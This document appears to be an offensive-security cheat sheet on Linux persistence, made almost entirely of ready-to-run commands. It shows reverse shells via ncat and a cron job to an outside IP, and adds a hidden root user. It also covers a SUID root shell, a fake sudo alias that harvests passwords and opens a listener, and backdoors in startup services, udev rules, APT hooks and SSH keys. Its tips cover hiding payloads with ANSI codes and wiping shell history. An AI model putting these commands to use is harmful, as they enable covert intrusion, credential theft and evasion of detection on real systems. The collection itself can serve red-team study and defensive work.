# Linux - Persistence ## Summary * [Basic reverse shell](#basic-reverse-shell) * [Add a root user](#add-a-root-user) * [Suid Binary](#suid-binary) * [Crontab - Reverse shell](#crontab-reverse-shell) * [Backdooring a user's bash_rc](#backdooring-an-users-bash-rc) * [Backdooring a startup service](#backdoor-a-startup-service) * [Backdooring a user startup file](#backdooring-an-user-startup-file) * [Backdooring a driver](#backdooring-a-driver) * [Backdooring the APT](#backdooring-the-apt) * [Backdooring the SSH](#backdooring-the-ssh) * [Tips](#tips) * [References](#references) ## Basic reverse shell ```bash ncat --udp -lvp 4242 ncat --sctp -lvp 4242 ncat --tcp -lvp 4242 ``` ## Add a root user ```powershell sudo useradd -ou 0 -g 0 john sudo passwd john echo "linuxpassword" | passwd --stdin john ``` ## Suid Binary ```powershell TMPDIR2="/var/tmp" echo 'int main(void){setresuid(0, 0, 0);system("/bin/sh");}' > $TMPDIR2/croissant.c gcc $TMPDIR2/croissant.c -o $TMPDIR2/croissant 2>/dev/null rm $TMPDIR2/croissant.c chown root:root $TMPDIR2/croissant chmod 4777 $TMPDIR2/croissant ``` ## Crontab - Reverse shell ```bash (crontab -l ; echo "@reboot sleep 200 && ncat 192.168.1.2 4242 -e /bin/bash")|crontab 2> /dev/null ``` ## Backdooring a user's bash_rc (FR/EN Version) ```bash TMPNAME2=".systemd-private-b21245afee3b3274d4b2e2-systemd-timesyncd.service-IgCBE0" cat << EOF > /tmp/$TMPNAME2 alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -f1);if [ \$locale = "en" ]; then echo -n "[sudo] password for \$USER: ";fi;if [ \$locale = "fr" ]; then echo -n "[sudo] Mot de passe de \$USER: ";fi;read -s pwd;echo; unalias sudo; echo "\$pwd" | /usr/bin/sudo -S nohup nc -lvp 1234 -e /bin/bash > /dev/null && /usr/bin/sudo -S ' EOF if [ -f ~/.bashrc ]; then cat /tmp/$TMPNAME2 >> ~/.bashrc fi if [ -f ~/.zshrc ]; then cat /tmp/$TMPNAME2 >> ~/.zshrc fi rm /tmp/$TMPNAME2 ``` or add the following line inside its .bashrc file. ```powershell $ chmod u+x ~/.hidden/fakesudo $ echo "alias sudo=~/.hidden/fakesudo" >> ~./bashrc ``` and create the `fakesudo` script. ```powershell read -sp "[sudo] password for $USER: " sudopass echo "" sleep 2 echo "Sorry, try again." echo $sudopass >> /tmp/pass.txt /usr/bin/sudo $@ ``` ## Backdooring a startup service ```bash RSHELL="ncat $LMTHD $LHOST $LPORT -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null" sed -i -e "4i \$RSHELL" /etc/network/if-up.d/upstart ``` ## Backdooring a user startup file Linux, write a file in `~/.config/autostart/NAME_OF_FILE.desktop` ```powershell In : ~/.config/autostart/*.desktop [Desktop Entry] Type=Application Name=Welcome Exec=/var/lib/gnome-welcome-tour AutostartCondition=unless-exists ~/.cache/gnome-getting-started-docs/seen-getting-started-guide OnlyShowIn=GNOME; X-GNOME-Autostart-enabled=false ``` ## Backdooring a driver ```bash echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null ``` ## Backdooring the APT If you can create a file on the apt.conf.d directory with: `APT::Update::Pre-Invoke {"CMD"};` Next time "apt-get update" is done, your CMD will be executed! ```bash echo 'APT::Update::Pre-Invoke {"nohup ncat -lvp 1234 -e /bin/bash 2> /dev/null &"};' > /etc/apt/apt.conf.d/42backdoor ``` ## Backdooring the SSH Add an ssh key into the `~/.ssh` folder. 1. `ssh-keygen` 2. write the content of `~/.ssh/id_rsa.pub` into `~/.ssh/authorized_keys` 3. set the right permission, 700 for ~/.ssh and 600 for authorized_keys ## Tips Hide the payload with ANSI chars, the following chars will clear the terminal when using cat to display the content of your payload. ```bash #[2J[2J[2J[2H[2A# Do not remove. Generated from /etc/issue.conf by configure. ``` Clear the last line of the history. ```bash history -d $(history | tail -2 | awk '{print $1}') 2> /dev/null ``` Clear history ```bash [SPACE] ANY COMMAND or export HISTSIZE=0 export HISTFILESIZE=0 unset HISTFILE; CTRL-D or kill -9 $$ or echo "" > ~/.bash_history or rm ~/.bash_history -rf or history -c or ln /dev/null ~/.bash_history -sf ``` The following directories are temporary and usually writeable ```bash /var/tmp/ /tmp/ /dev/shm/ ``` ## References * [@RandoriSec - https://twitter.com/RandoriSec/status/1036622487990284289](https://twitter.com/RandoriSec/status/1036622487990284289) * [https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/](https://blogs.gnome.org/muelli/2009/06/g0t-r00t-pwning-a-machine/) * [http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html](http://turbochaos.blogspot.com/2013/09/linux-rootkits-101-1-of-3.html) * [http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/](http://www.jakoblell.com/blog/2014/05/07/hacking-contest-rootkit/) * [Pouki from JDI](#no_source_code)